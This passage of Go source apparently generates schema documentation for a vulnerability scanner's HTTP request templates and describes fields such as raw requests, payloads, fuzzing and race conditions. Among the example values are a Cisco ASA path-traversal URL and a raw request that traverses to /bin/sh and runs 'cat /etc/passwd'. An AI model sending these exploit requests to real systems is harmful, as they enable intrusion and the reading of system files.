values\", []string{\"{{BaseURL}}\", \"{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions\"})\n\tHTTPRequestDoc.Fields[1].Name = \"raw\"\n\tHTTPRequestDoc.Fields[1].Type = \"[]string\"\n\tHTTPRequestDoc.Fields[1].Note = \"\"\n\tHTTPRequestDoc.Fields[1].Description = \"Raw contains HTTP Requests in Raw format.\"\n\tHTTPRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Raw contains HTTP Requests in Raw format.\"\n\n\tHTTPRequestDoc.Fields[1].AddExample(\"Some example raw requests\", []string{\"GET /etc/passwd HTTP/1.1\\nHost:\\nContent-Length: 4\", \"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\\nContent-Length: 1\\nConnection: close\\n\\necho\\necho\\ncat /etc/passwd 2>&1\"})\n\tHTTPRequestDoc.Fields[2].Name = \"id\"\n\tHTTPRequestDoc.Fields[2].Type = \"string\"\n\tHTTPRequestDoc.Fields[2].Note = \"\"\n\tHTTPRequestDoc.Fields[2].Description = \"ID is the optional id of the request\"\n\tHTTPRequestDoc.Fields[2].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tHTTPRequestDoc.Fields[3].Name = \"name\"\n\tHTTPRequestDoc.Fields[3].Type = \"string\"\n\tHTTPRequestDoc.Fields[3].Note = \"\"\n\tHTTPRequestDoc.Fields[3].Description = \"Name is the optional name of the request.\\n\\nIf a name is specified, all the named request in a template can be matched upon\\nin a combined manner allowing multi-request based matchers.\"\n\tHTTPRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Name is the optional name of the request.\"\n\tHTTPRequestDoc.Fields[4].Name = \"attack\"\n\tHTTPRequestDoc.Fields[4].Type = \"generators.AttackTypeHolder\"\n\tHTTPRequestDoc.Fields[4].Note = \"\"\n\tHTTPRequestDoc.Fields[4].Description = \"Attack is the type of payload combinations to perform.\\n\\nbatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tHTTPRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tHTTPRequestDoc.Fields[4].Values = []string{\n\t\t\"batteringram\",\n\t\t\"pitchfork\",\n\t\t\"clusterbomb\",\n\t}\n\tHTTPRequestDoc.Fields[5].Name = \"method\"\n\tHTTPRequestDoc.Fields[5].Type = \"HTTPMethodTypeHolder\"\n\tHTTPRequestDoc.Fields[5].Note = \"\"\n\tHTTPRequestDoc.Fields[5].Description = \"Method is the HTTP Request Method.\"\n\tHTTPRequestDoc.Fields[5].Comments[encoder.LineComment] = \"Method is the HTTP Request Method.\"\n\tHTTPRequestDoc.Fields[6].Name = \"body\"\n\tHTTPRequestDoc.Fields[6].Type = \"string\"\n\tHTTPRequestDoc.Fields[6].Note = \"\"\n\tHTTPRequestDoc.Fields[6].Description = \"Body is an optional parameter which contains HTTP Request body.\"\n\tHTTPRequestDoc.Fields[6].Comments[encoder.LineComment] = \"Body is an optional parameter which contains HTTP Request body.\"\n\n\tHTTPRequestDoc.Fields[6].AddExample(\"Same Body for a Login POST request\", \"username=test&password=test\")\n\tHTTPRequestDoc.Fields[7].Name = \"payloads\"\n\tHTTPRequestDoc.Fields[7].Type = \"map[string]interface{}\"\n\tHTTPRequestDoc.Fields[7].Note = \"\"\n\tHTTPRequestDoc.Fields[7].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tHTTPRequestDoc.Fields[7].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\tHTTPRequestDoc.Fields[8].Name = \"headers\"\n\tHTTPRequestDoc.Fields[8].Type = \"map[string]string\"\n\tHTTPRequestDoc.Fields[8].Note = \"\"\n\tHTTPRequestDoc.Fields[8].Description = \"Headers contains HTTP Headers to send with the request.\"\n\tHTTPRequestDoc.Fields[8].Comments[encoder.LineComment] = \"Headers contains HTTP Headers to send with the request.\"\n\n\tHTTPRequestDoc.Fields[8].AddExample(\"\", map[string]string{\"Content-Type\": \"application/x-www-form-urlencoded\", \"Content-Length\": \"1\", \"Any-Header\": \"Any-Value\"})\n\tHTTPRequestDoc.Fields[9].Name = \"race_count\"\n\tHTTPRequestDoc.Fields[9].Type = \"int\"\n\tHTTPRequestDoc.Fields[9].Note = \"\"\n\tHTTPRequestDoc.Fields[9].Description = \"RaceCount is the number of times to send a request in Race Condition Attack.\"\n\tHTTPRequestDoc.Fields[9].Comments[encoder.LineComment] = \"RaceCount is the number of times to send a request in Race Condition Attack.\"\n\n\tHTTPRequestDoc.Fields[9].AddExample(\"Send a request 5 times\", 5)\n\tHTTPRequestDoc.Fields[10].Name = \"max-redirects\"\n\tHTTPRequestDoc.Fields[10].Type = \"int\"\n\tHTTPRequestDoc.Fields[10].Note = \"\"\n\tHTTPRequestDoc.Fields[10].Description = \"MaxRedirects is the maximum number of redirects that should be followed.\"\n\tHTTPRequestDoc.Fields[10].Comments[encoder.LineComment] = \"MaxRedirects is the maximum number of redirects that should be followed.\"\n\n\tHTTPRequestDoc.Fields[10].AddExample(\"Follow up to 5 redirects\", 5)\n\tHTTPRequestDoc.Fields[11].Name = \"pipeline-concurrent-connections\"\n\tHTTPRequestDoc.Fields[11].Type = \"int\"\n\tHTTPRequestDoc.Fields[11].Note = \"\"\n\tHTTPRequestDoc.Fields[11].Description = \"PipelineConcurrentConnections is number of connections to create during pipelining.\"\n\tHTTPRequestDoc.Fields[11].Comments[encoder.LineComment] = \"PipelineConcurrentConnections is number of connections to create during pipelining.\"\n\n\tHTTPRequestDoc.Fields[11].AddExample(\"Create 40 concurrent connections\", 40)\n\tHTTPRequestDoc.Fields[12].Name = \"pipeline-requests-per-connection\"\n\tHTTPRequestDoc.Fields[12].Type = \"int\"\n\tHTTPRequestDoc.Fields[12].Note = \"\"\n\tHTTPRequestDoc.Fields[12].Description = \"PipelineRequestsPerConnection is number of requests to send per connection when pipelining.\"\n\tHTTPRequestDoc.Fields[12].Comments[encoder.LineComment] = \"PipelineRequestsPerConnection is number of requests to send per connection when pipelining.\"\n\n\tHTTPRequestDoc.Fields[12].AddExample(\"Send 100 requests per pipeline connection\", 100)\n\tHTTPRequestDoc.Fields[13].Name = \"threads\"\n\tHTTPRequestDoc.Fields[13].Type = \"int\"\n\tHTTPRequestDoc.Fields[13].Note = \"\"\n\tHTTPRequestDoc.Fields[13].Description = \"Threads specifies number of threads to use sending requests. This enables Connection Pooling.\\n\\nConnection: Close attribute must not be used in request while using threads flag, otherwise\\npooling will fail and engine will continue to close connections after requests.\"\n\tHTTPRequestDoc.Fields[13].Comments[encoder.LineComment] = \"Threads specifies number of threads to use sending requests. This enables Connection Pooling.\"\n\n\tHTTPRequestDoc.Fields[13].AddExample(\"Send requests using 10 concurrent threads\", 10)\n\tHTTPRequestDoc.Fields[14].Name = \"max-size\"\n\tHTTPRequestDoc.Fields[14].Type = \"int\"\n\tHTTPRequestDoc.Fields[14].Note = \"\"\n\tHTTPRequestDoc.Fields[14].Description = \"MaxSize is the maximum size of http response body to read in bytes.\"\n\tHTTPRequestDoc.Fields[14].Comments[encoder.LineComment] = \"MaxSize is the maximum size of http response body to read in bytes.\"\n\n\tHTTPRequestDoc.Fields[14].AddExample(\"Read max 2048 bytes of the response\", 2048)\n\tHTTPRequestDoc.Fields[15].Name = \"fuzzing\"\n\tHTTPRequestDoc.Fields[15].Type = \"[]fuzz.Rule\"\n\tHTTPRequestDoc.Fields[15].Note = \"\"\n\tHTTPRequestDoc.Fields[15].Description = \"Fuzzing describes schema to fuzz http requests\"\n\tHTTPRequestDoc.Fields[15].Comments[encoder.LineComment] = \" Fuzzing describes schema to fuzz http requests\"\n\tHTTPRequestDoc.Fields[16].Name = \"analyzer\"\n\tHTTPRequestDoc.Fields[16].Type = \"analyzers.AnalyzerTemplate\"\n\tHTTPRequestDoc.Fields[16].Note = \"\"\n\tHTTPRequestDoc.Fields[16].Description = \"Analyzer is an analyzer to use for matching the response.\"\n\tHTTPRequestDoc.Fields[16].Comments[encoder.LineComment] = \"Analyzer is an analyzer to use for matching the response.\"\n\tHTTPRequestDoc.Fields[17].Name = \"self-contained\"\n\tHTTPRequestDoc.Fields[17].Type = \"bool\"\n\tHTTPRequestDoc.Fields[17].Note = \"\"\n\tHTTPRequestDoc.Fields[17].Description = \"SelfContained specifies if the request is self-contained.\"\n\tHTTPRequestDoc.Fields[17].Comments[encoder.LineComment] = \"SelfContained specifies if the request is self-contained.\"\n\tHTTPRequestDoc.Fields[18].Name = \"signature\"\n\tHTTPRequestDoc.Fields[18].Type = \"SignatureTypeHolder\"\n\tHTTPRequestDoc.Fields[18].Note = \"\"\n\tHTTPRequestDoc.Fields[18].Description = \"Signature is the request signature method\"\n\tHTTPRequestDoc.Fields[18].Comments[encoder.LineComment] = \"Signature is the request signature method\"\n\tHTTPRequestDoc.Fields[18].Values = []string{\n\t\t\"AWS\",\n\t}\n\tHTTPRequestDoc.Fields[19].Name = \"skip-secret-file\"\n\tHTTPRequestDoc.Fields[19].Type = \"bool\"\n\tHTTPRequestDoc.Fields[19].Note = \"\"\n\tHTTPRequestDoc.Fields[19].Description = \"SkipSecretFile skips the authentication or authorization configured in the secret file.\"\n\tHTTPRequestDoc.Fields[19].Comments[encoder.LineComment] = \"SkipSecretFile skips the authentication or authorization configured in the secret file.\"\n\tHTTPRequestDoc.Fields[20].Name = \"cookie-reuse\"\n\tHTTPRequestDoc.Fields[20].Type = \"bool\"\n\tHTTPRequestDoc.Fields[20].Note = \"\"\n\tHTTPRequestDoc.Fields[20].Description = \"CookieReuse is an optional setting that enables cookie reuse for\\nall requests defined in raw section.\"\n\tHTTPRequestDoc.Fields[20].Comments[encoder.LineComment] = \"CookieReuse is an optional setting that enables cookie reuse for\"\n\tHTTPRequestDoc.Fields[21].Name = \"disable-cookie\"\n\tHTTPRequestDoc.Fields[21].Type = \"bool\"\n\tHTTPRequestDoc.Fields[21].Note = \"\"\n\tHTTPRequestDoc.Fields[21].Description = \"DisableCookie is an optional setting that disables cookie reuse\"\n\tHTTPRequestDoc.Fields[21].Comments[encoder.LineComment] = \"DisableCookie is an optional setting that disables cookie reuse\"\n\tHTTPRequestDoc.Fields[22].Name = \"read-all\"\n\tHTTPRequestDoc.Fields[22].Type = \"bool\"\n\tHTTPRequestDoc.Fields[22].Note = \"\"\n\tHTTPRequestDoc.Fields[22].Description = \"Enables force reading of the entire raw unsafe request body ignoring\\nany specified content length headers.\"\n\tHTTPRequestDoc.Fields[22].Comments[encoder.LineComment] = \"Enables force reading of the entire raw unsafe request body ignoring\"\n\tHTTPRequestDoc.Fields[23].Name = \"redirects\"\n\tHTTPRequestDoc.Fields[23].Type = \"bool\"\n\tHTTPRequestDoc.Fields[23].Note = \"\"\n\tHTTPRequestDoc.Fields[23].Description = \"Redirects specifies whether redirects should be followed by the HTTP Client.\\n\\nThis can be used in conjunction with `max-redirects` to control the HTTP request redirects.\"\n\tHTTPRequestDoc.Fields[23].Comments[encoder.LineComment] = \"Redirects specifies whether redirects should be followed by the HTTP Client.\"\n\tHTTPRequestDoc.Fields[24].Name = \"host-redirects\"\n\tHTTPRequestDoc.Fields[24].Type = \"bool\"\n\tHTTPRequestDoc.Fields[24].Note = \"\"\n\tHTTPRequestDoc.Fields[24].Description = \"Redirects specifies whether only redirects to the same host should be followed by the HTTP Client.\\n\\nThis can be used in conjunction with `max-redirects` to control the HTTP request redirects.\"\n\tHTTPRequestDoc.Fields[24].Comments[encoder.LineComment] = \"Redirects specifies whether only redirects to the same host should be followed by the HTTP Client.\"\n\tHTTPRequestDoc.Fields[25].Name = \"pipeline\"\n\tHTTPRequestDoc.Fields[25].Type = \"bool\"\n\tHTTPRequestDoc.Fields[25].Note = \"\"\n\tHTTPRequestDoc.Fields[25].Description = \"Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining\\n\\nAll requests must be idempotent (GET/POST). This can be used for race conditions/billions requests.\"\n\tHTTPRequestDoc.Fields[25].Comments[encoder.LineComment] = \"Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining\"\n\tHTTPRequestDoc.Fields[26].Name = \"unsafe\"\n\tHTTPRequestDoc.Fields[26].Type = \"bool\"\n\tHTTPRequestDoc.Fields[26].Note = \"\"\n\tHTTPRequestDoc.Fields[26].Description = \"Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests.\\n\\nThis uses the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine to achieve complete\\ncontrol over the request, with no normalization performed by the client.\"\n\tHTTPRequestDoc.Fields[26].Comments[encoder.LineComment] = \"Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests.\"\n\tHTTPRequestDoc.Fields[27].Name = \"race\"\n\tHTTPRequestDoc.Fields[27].Type = \"bool\"\n\tHTTPRequestDoc.Fields[27].Note = \"\"\n\tHTTPRequestDoc.Fields[27].Description = \"Race determines if all the request have to be attempted at the same time (Race Condition)\\n\\nThe actual number of requests that will be sent is determined by the `race_count`  field.\"\n\tHTTPRequestDoc.Fields[27].Comments[encoder.LineComment] = \"Race determines if all the request have to be attempted at the same time (Race Condition)\"\n\tHTTPRequestDoc.Fields[28].Name = \"req-condition\"\n\tHTTPRequestDoc.Fields[28].Type = \"bool\"\n\tHTTPRequestDoc.Fields[28].Note = \"\"\n\tHTTPRequestDoc.Fields[28].Description = \"ReqCondition automatically assigns numbers to requests and preserves their history.\\n\\nThis allows matching on them later for multi-request conditions.\"\n\tHTTPRequestDoc.Fields[28].Comments[encoder.LineComment] = \"ReqCondition automatically assigns numbers to requests and preserves their history.\"\n\tHTTPRequestDoc.Fields[29].Name = \"stop-at-first-match\"\n\tHTTPRequestDoc.Fields[29].Type = \"bool\"\n\tHTTPRequestDoc.Fields[29].Note = \"\"\n\tHTTPRequestDoc.Fields[29].Description = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\tHTTPRequestDoc.Fields[29].Comments[encoder.LineComment] = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\tHTTPRequestDoc.Fields[30].Name = \"skip-variables-check\"\n\tHTTPRequestDoc.Fields[30].Type = \"bool\"\n\tHTTPRequestDoc.Fields[30].Note = \"\"\n\tHTTPRequestDoc.Fields[30].Description = \"SkipVariablesCheck skips the check for unresolved variables in request\"\n\tHTTPRequestDoc.Fields[30].Comments[encoder.LineComment] = \"SkipVariablesCheck skips the check for unresolved variables in request\"\n\tHTTPRequestDoc.Fields[31].Name = \"iterate-all\"\n\tHTTPRequestDoc.Fields[31].Type = \"bool\"\n\tHTTPRequestDoc.Fields[31].Note = \"\"\n\tHTTPRequestDoc.Fields[31].Description = \"IterateAll iterates all the values extracted from internal extractors\"\n\tHTTPRequestDoc.Fields[31].Comments[encoder.LineComment] = \"IterateAll iterates all the values extracted from internal extractors\"\n\tHTTPRequestDoc.Fields[32].Name = \"digest-username\"\n\tHTTPRequestDoc.Fields[32].Type = \"string\"\n\tHTTPRequestDoc.Fields[32].Note = \"\"\n\tHTTPRequestDoc.Fields[32].Description = \"DigestAuthUsername specifies the username for digest authentication\"\n\tHTTPRequestDoc.Fields[32].Comments[encoder.LineComment] = \"DigestAuthUsername specifies the username for digest authentication\"\n\tHTTPRequestDoc.Fields[33].Name = \"digest-password\"\n\tHTTPRequestDoc.Fields[33].Type = \"string\"\n\tHTTPRequestDoc.Fields[33].Note = \"\"\n\tHTTPRequestDoc.Fields[33].Description = \"DigestAuthPassword specifies the password for digest authentication\"\n\tHTTPRequestDoc.Fields[33].Comments[encoder.LineComment] = \"DigestAuthPassword specifies the password for digest authentication\"\n\tHTTPRequestDoc.Fields[34].Name = \"disable-path-automerge\"\n\tHTTPRequestDoc.Fields[34].Type = \"bool\"\n\tHTTPRequestDoc.Fields[34].Note = \"\"\n\tHTTPRequestDoc.Fields[34].Description = \"DisablePathAutomerge disables merging target url path with raw request path\"\n\tHTTPRequestDoc.Fields[34].Comments[encoder.LineComment] = \"DisablePathAutomerge disables merging target url path with raw request path\"\n\tHTTPRequestDoc.Fields[35].Name = \"pre-condition\"\n\tHTTPRequestDoc.Fields[35].Type = \"[]matchers.Matcher\"\n\tHTTPRequestDoc.Fields[35].Note = \"\"\n\tHTTPRequestDoc.Fields[35].Description = \"Fuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\"\n\tHTTPRequestDoc.Fields[35].Comments[encoder.LineComment] = \"Fuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\"\n\tHTTPRequestDoc.Fields[36].Name = \"pre-condition-operator\"\n\tHTTPRequestDoc.Fields[36].Type = \"string\"\n\tHTTPRequestDoc.Fields[36].Note = \"\"\n\tHTTPRequestDoc.Fields[36].Description = \"FuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR\"\n\tHTTPRequestDoc.Fields[36].Comments[encoder.LineComment] = \"FuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR\"\n\tHTTPRequestDoc.Fields[37].Name = \"global-matchers\"\n\tHTTPRequestDoc.Fields[37].Type = \"bool\"\n\tHTTPRequestDoc.Fields[37].Note = \"\"\n\tHTTPRequestDoc.Fields[37].Description = \"GlobalMatchers marks matchers as static and applies globally to all result events from other templates\"\n\tHTTPRequestDoc.Fields[37].Comments[encoder.LineComment] = \"GlobalMatchers marks matchers as static and applies globally to all result events from other templates\"\n\n\tGENERATORSAttackTypeHolderDoc.Type = \"generators.AttackTypeHolder\"\n\tGENERATORSAttackTypeHolderDoc.Comments[encoder.LineComment] = \" AttackTypeHolder is used to hold internal type of the protocol\"\n\tGENERATORSAttackTypeHolderDoc.Description = \"AttackTypeHolder is used to hold internal type of the protocol\"\n\tGENERATORSAttackTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"dns.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"network.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"headless.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"websocket.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"javascript.Request\",\n\t\t\tFieldName: \"attack\",\n\t\t},\n\t}\n\tGENERATORSAttackTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tGENERATORSAttackTypeHolderDoc.Fields[0].Name = \"\"\n\tGENERATORSAttackTypeHolderDoc.Fields[0].Type = \"AttackType\"\n\tGENERATORSAttackTypeHolderDoc.Fields[0].Note = \"\"\n\tGENERATORSAttackTypeHolderDoc.Fields[0].Description = \"\"\n\tGENERATORSAttackTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tGENERATORSAttackTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"batteringram\",\n\t\t\"pitchfork\",\n\t\t\"clusterbomb\",\n\t}\n\n\tHTTPMethodTypeHolderDoc.Type = \"HTTPMethodTypeHolder\"\n\tHTTPMethodTypeHolderDoc.Comments[encoder.LineComment] = \" HTTPMethodTypeHolder is used to hold internal type of the HTTP Method\"\n\tHTTPMethodTypeHolderDoc.Description = \"HTTPMethodTypeHolder is used to hold internal type of the HTTP Method\"\n\tHTTPMethodTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"method\",\n\t\t},\n\t}\n\tHTTPMethodTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tHTTPMethodTypeHolderDoc.Fields[0].Name = \"\"\n\tHTTPMethodTypeHolderDoc.Fields[0].Type = \"HTTPMethodType\"\n\tHTTPMethodTypeHolderDoc.Fields[0].Note = \"\"\n\tHTTPMethodTypeHolderDoc.Fields[0].Description = \"\"\n\tHTTPMethodTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tHTTPMethodTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"GET\",\n\t\t\"HEAD\",\n\t\t\"POST\",\n\t\t\"PUT\",\n\t\t\"DELETE\",\n\t\t\"CONNECT\",\n\t\t\"OPTIONS\",\n\t\t\"TRACE\",\n\t\t\"PATCH\",\n\t\t\"PURGE\",\n\t\t\"Debug\",\n\t}\n\n\tFUZZRuleDoc.Type = \"fuzz.Rule\"\n\tFUZZRuleDoc.Comments[encoder.LineComment] = \" Rule is a single rule which describes how to fuzz the request\"\n\tFUZZRuleDoc.Description = \"Rule is a single rule which describes how to fuzz the request\"\n\tFUZZRuleDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"fuzzing\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"headless.Request\",\n\t\t\tFieldName: \"fuzzing\",\n\t\t},\n\t}\n\tFUZZRuleDoc.Fields = make([]encoder.Doc, 9)\n\tFUZZRuleDoc.Fields[0].Name = \"type\"\n\tFUZZRuleDoc.Fields[0].Type = \"string\"\n\tFUZZRuleDoc.Fields[0].Note = \"\"\n\tFUZZRuleDoc.Fields[0].Description = \"Type is the type of fuzzing rule to perform.\\n\\nreplace replaces the values entirely. prefix prefixes the value. postfix postfixes the value\\nand infix places between the values.\"\n\tFUZZRuleDoc.Fields[0].Comments[encoder.LineComment] = \"Type is the type of fuzzing rule to perform.\"\n\tFUZZRuleDoc.Fields[0].Values = []string{\n\t\t\"replace\",\n\t\t\"prefix\",\n\t\t\"postfix\",\n\t\t\"infix\",\n\t}\n\tFUZZRuleDoc.Fields[1].Name = \"part\"\n\tFUZZRuleDoc.Fields[1].Type = \"string\"\n\tFUZZRuleDoc.Fields[1].Note = \"\"\n\tFUZZRuleDoc.Fields[1].Description = \"Part is the part of request to fuzz.\"\n\tFUZZRuleDoc.Fields[1].Comments[encoder.LineComment] = \"Part is the part of request to fuzz.\"\n\tFUZZRuleDoc.Fields[1].Values = []string{\n\t\t\"query\",\n\t\t\"header\",\n\t\t\"path\",\n\t\t\"body\",\n\t\t\"cookie\",\n\t\t\"request\",\n\t}\n\tFUZZRuleDoc.Fields[2].Name = \"parts\"\n\tFUZZRuleDoc.Fields[2].Type = \"[]string\"\n\tFUZZRuleDoc.Fields[2].Note = \"\"\n\tFUZZRuleDoc.Fields[2].Description = \"Parts is the list of parts to fuzz. If multiple parts need to be\\ndefined while excluding some, this should be used instead of singular part.\"\n\tFUZZRuleDoc.Fields[2].Comments[encoder.LineComment] = \"Parts is the list of parts to fuzz. If multiple parts need to be\"\n\tFUZZRuleDoc.Fields[2].Values = []string{\n\t\t\"query\",\n\t\t\"header\",\n\t\t\"path\",\n\t\t\"body\",\n\t\t\"cookie\",\n\t\t\"request\",\n\t}\n\tFUZZRuleDoc.Fields[3].Name = \"mode\"\n\tFUZZRuleDoc.Fields[3].Type = \"string\"\n\tFUZZRuleDoc.Fields[3].Note = \"\"\n\tFUZZRuleDoc.Fields[3].Description = \"Mode is the mode of fuzzing to perform.\\n\\nsingle fuzzes one value at a time. multiple fuzzes all values at same time.\"\n\tFUZZRuleDoc.Fields[3].Comments[encoder.LineComment] = \"Mode is the mode of fuzzing to perform.\"\n\tFUZZRuleDoc.Fields[3].Values = []string{\n\t\t\"single\",\n\t\t\"multiple\",\n\t}\n\tFUZZRuleDoc.Fields[4].Name = \"keys\"\n\tFUZZRuleDoc.Fields[4].Type = \"[]string\"\n\tFUZZRuleDoc.Fields[4].Note = \"\"\n\tFUZZRuleDoc.Fields[4].Description = \"Keys is the optional list of key named parameters to fuzz.\"\n\tFUZZRuleDoc.Fields[4].Comments[encoder.LineComment] = \"Keys is the optional list of key named parameters to fuzz.\"\n\n\tFUZZRuleDoc.Fields[4].AddExample(\"Examples of keys\", []string{\"url\", \"file\", \"host\"})\n\tFUZZRuleDoc.Fields[5].Name = \"keys-regex\"\n\tFUZZRuleDoc.Fields[5].Type = \"[]string\"\n\tFUZZRuleDoc.Fields[5].Note = \"\"\n\tFUZZRuleDoc.Fields[5].Description = \"KeysRegex is the optional list of regex key parameters to fuzz.\"\n\tFUZZRuleDoc.Fields[5].Comments[encoder.LineComment] = \"KeysRegex is the optional list of regex key parameters to fuzz.\"\n\n\tFUZZRuleDoc.Fields[5].AddExample(\"Examples of key regex\", []string{\"url.*\"})\n\tFUZZRuleDoc.Fields[6].Name = \"values\"\n\tFUZZRuleDoc.Fields[6].Type = \"[]string\"\n\tFUZZRuleDoc.Fields[6].Note = \"\"\n\tFUZZRuleDoc.Fields[6].Description = \"Values is the optional list of regex value parameters to fuzz.\"\n\tFUZZRuleDoc.Fields[6].Comments[encoder.LineComment] = \"Values is the optional list of regex value parameters to fuzz.\"\n\n\tFUZZRuleDoc.Fields[6].AddExample(\"Examples of value regex\", []string{\"https?://.*\"})\n\tFUZZRuleDoc.Fields[7].Name = \"fuzz\"\n\tFUZZRuleDoc.Fields[7].Type = \"SliceOrMapSlice\"\n\tFUZZRuleDoc.Fields[7].Note = \"\"\n\tFUZZRuleDoc.Fields[7].Description = \"description: |\\n   Fuzz is the list of payloads to perform substitutions with.\\n examples:\\n   - name: Examples of fuzz\\n     value: >\\n       []string{\\\"{{ssrf}}\\\", \\\"{{interactsh-url}}\\\", \\\"example-value\\\"}\\n      or\\n       x-header: 1\\n       x-header: 2\"\n\tFUZZRuleDoc.Fields[7].Comments[encoder.LineComment] = \" description: |\"\n\tFUZZRuleDoc.Fields[8].Name = \"replace-regex\"\n\tFUZZRuleDoc.Fields[8].Type = \"string\"\n\tFUZZRuleDoc.Fields[8].Note = \"\"\n\tFUZZRuleDoc.Fields[8].Description = \"replace-regex is regex for regex-replace rule type\\nit is only required for replace-regex rule type\"\n\tFUZZRuleDoc.Fields[8].Comments[encoder.LineComment] = \"replace-regex is regex for regex-replace rule type\"\n\n\tSliceOrMapSliceDoc.Type = \"SliceOrMapSlice\"\n\tSliceOrMapSliceDoc.Comments[encoder.LineComment] = \"\"\n\tSliceOrMapSliceDoc.Description = \"\"\n\tSliceOrMapSliceDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"fuzz.Rule\",\n\t\t\tFieldName: \"fuzz\",\n\t\t},\n\t}\n\tSliceOrMapSliceDoc.Fields = make([]encoder.Doc, 0)\n\n\tANALYZERSAnalyzerTemplateDoc.Type = \"analyzers.AnalyzerTemplate\"\n\tANALYZERSAnalyzerTemplateDoc.Comments[encoder.LineComment] = \" AnalyzerTemplate is the template for the analyzer\"\n\tANALYZERSAnalyzerTemplateDoc.Description = \"AnalyzerTemplate is the template for the analyzer\"\n\tANALYZERSAnalyzerTemplateDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"analyzer\",\n\t\t},\n\t}\n\tANALYZERSAnalyzerTemplateDoc.Fields = make([]encoder.Doc, 2)\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Name = \"name\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Type = \"string\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Note = \"\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Description = \"Name is the name of the analyzer to use\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Comments[encoder.LineComment] = \"Name is the name of the analyzer to use\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[0].Values = []string{\n\t\t\"time_delay\",\n\t}\n\tANALYZERSAnalyzerTemplateDoc.Fields[1].Name = \"parameters\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[1].Type = \"map[string]interface{}\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[1].Note = \"\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[1].Description = \"Parameters is the parameters for the analyzer\\n\\nParameters are different for each analyzer. For example, you can customize\\ntime_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer\\nto the docs for each analyzer to get an idea about parameters.\"\n\tANALYZERSAnalyzerTemplateDoc.Fields[1].Comments[encoder.LineComment] = \"Parameters is the parameters for the analyzer\"\n\n\tSignatureTypeHolderDoc.Type = \"SignatureTypeHolder\"\n\tSignatureTypeHolderDoc.Comments[encoder.LineComment] = \" SignatureTypeHolder is used to hold internal type of the signature\"\n\tSignatureTypeHolderDoc.Description = \"SignatureTypeHolder is used to hold internal type of the signature\"\n\tSignatureTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"signature\",\n\t\t},\n\t}\n\tSignatureTypeHolderDoc.Fields = make([]encoder.Doc, 0)\n\n\tMATCHERSMatcherDoc.Type = \"matchers.Matcher\"\n\tMATCHERSMatcherDoc.Comments[encoder.LineComment] = \" Matcher is used to match a part in the output from a protocol.\"\n\tMATCHERSMatcherDoc.Description = \"Matcher is used to match a part in the output from a protocol.\"\n\tMATCHERSMatcherDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"http.Request\",\n\t\t\tFieldName: \"pre-condition\",\n\t\t},\n\t}\n\tMATCHERSMatcherDoc.Fields = make([]encoder.Doc, 16)\n\tMATCHERSMatcherDoc.Fields[0].Name = \"type\"\n\tMATCHERSMatcherDoc.Fields[0].Type = \"MatcherTypeHolder\"\n\tMATCHERSMatcherDoc.Fields[0].Note = 